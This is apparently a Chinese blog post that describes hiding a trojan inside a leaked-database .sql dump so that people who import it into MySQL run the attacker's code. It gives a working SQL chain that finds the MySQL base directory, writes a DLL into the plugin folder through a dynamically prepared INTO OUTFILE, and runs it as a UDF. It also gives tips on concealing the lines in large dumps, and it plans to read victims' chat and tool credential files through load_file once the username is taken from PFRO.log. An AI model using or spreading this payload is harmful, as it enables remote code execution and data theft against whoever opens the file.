前言
之前聊天的时候 nux 提了一嘴,能不能在裤子里插🐎,几百 MB 发给别人,一般警惕性差的就直接运行了,哪怕警惕性好一点的,几百 M 或者几百 G 的裤子想要检查也检查不了。这个想法我一直记得,于是乎今天就来研究研究。
为什么选用.sql 呢?主要是目标受众好,并且对这个玩意警惕性不高,大家洗数据的时候就直接丢进 mysql 里运行了,一般也不会想太多,并且和压缩包钓鱼不同,只要你把文件放出去,就会有一堆人如同苍蝇一般直接受到吸引,蜂拥而来。
具体想法基本就是 UDF,直接写出 DLL 然后运行。能 RCE 的基本就是这样了。
然而实际上利用条件有点苛刻,并不能百分百上线,有以下几个问题
- mysql用户权限问题
- mysql插件路径问题
- 写出时候的动态路径问题
- mysql插件路径权限问题
前面三个都好解决,最后一个是真的无解,所以遇到那些带 secure
开关的 mysql 基本就没办法上线,linux 默认安装一般都带这个,但是好在,windows 下这个问题并不太多,同时那些钓鱼目标群体洗数据一般也用的是 windows 洗,所以问题不太大。
对于用户权限问题,我们只需要在制作我们的钓鱼 sql 的时候,多设计到几个库的操作,大部分人就会知难而退,图省事,直接用 root 权限跑了(没错就是我)。至于如何获取 mysql 插件也很简单,直接用 select @@basedir as basePath from dual
拼接一下就行。
最复杂的其实是动态路径问题,我之前一直以为 outfile 不能用变量,结果今天查了一下,有 prepare
和 execute
这种好东西。可以动态指行 sql 语句,那么这些要素不都齐全了?直接进行一个代码的缝合
代码
直接上代码
SET @BasePath = (select @@basedir as basePath from dual) ; SET @fullOutputPath = CONCAT(@BasePath,'lib\\plugin\\','udf.dll'); SET @Ok_Path = REPLACE(@fullOutputPath,'\\','\\\\'); set @q1 = concat("SELECT 'this_is_evil_dll' INTO OUTFILE/* or dumpfile*/ '",@Ok_Path,"';"); select @Ok_Path; prepare s1 from @q1; execute s1;deallocate prepare s1; create function eval_function returns string soname 'udf.dll'; select eval_function ();
写出 dll 后用 udf 的方式上线就行
一些解决办法
有时候不同版本的 mysql 的插件路径不同,并且 64 位 windows/linux,32 位 windows/linux,所需要的路径 / 二进制文件也不同,这些改如何处理呢?
我的看法就是直接进行一个暴力试错,反正几百 M 的 sql,多写几行别人也看不出来,不知道哪个版本的 mysql?那就把每个版本的路径都写上去,不知道哪个版本的系统?那就把每个版本的二进制 hex 都写进去,总有一个会成功的.jpg
进阶
其实,如果不考虑上线,只考虑探针的话,我们 select 一些内容就行了,但是如果直接 select 不知道路径的情况下,我们能获取到的内容又不多,比如在 linux 下就只能读取到 passwd,hosts 这类东西。
但是对于这份.sql 使用者的群体敏感性,我们基本能确认这些使用者用的不是红 / 蓝队,就是黑 / 灰产,对于他们这些用户来说,我们熟悉的 cs/Navicat/qq/ 微信这些敏感文件都储存与 C:\users\用户名\xxxxx
下, 再此当中,只有用户名是不固定的?
有没有一种可能,只要我们获取到了用户名,其他这些数据也就随便我们读取了呢?
甚至读取这些数据所需要的权限更低,甚至写出文件不会触发杀软?
~ 所以接下来的目标,就是研究 sql 脚本如何自动获取路径,达成自动化探针的效果。 ~
通过这个文章看了一下:MySQL 蜜罐获取攻击者微信 ID
好的,要素又齐全了。
可以通过 C:\Windows\PFRO.log
大概率获取到电脑使用者的用户名。
那么直接通过 load_file 读取文件,然后使用 mysql 自带的 left()、right()、substring()、substring_index()
这类函数,不就能成了?
未完待续(哪天心情好了补代码)
linux 下可以用 system ls -la 执行命令,windows 下要先用 ntfs 漏洞创建目录才行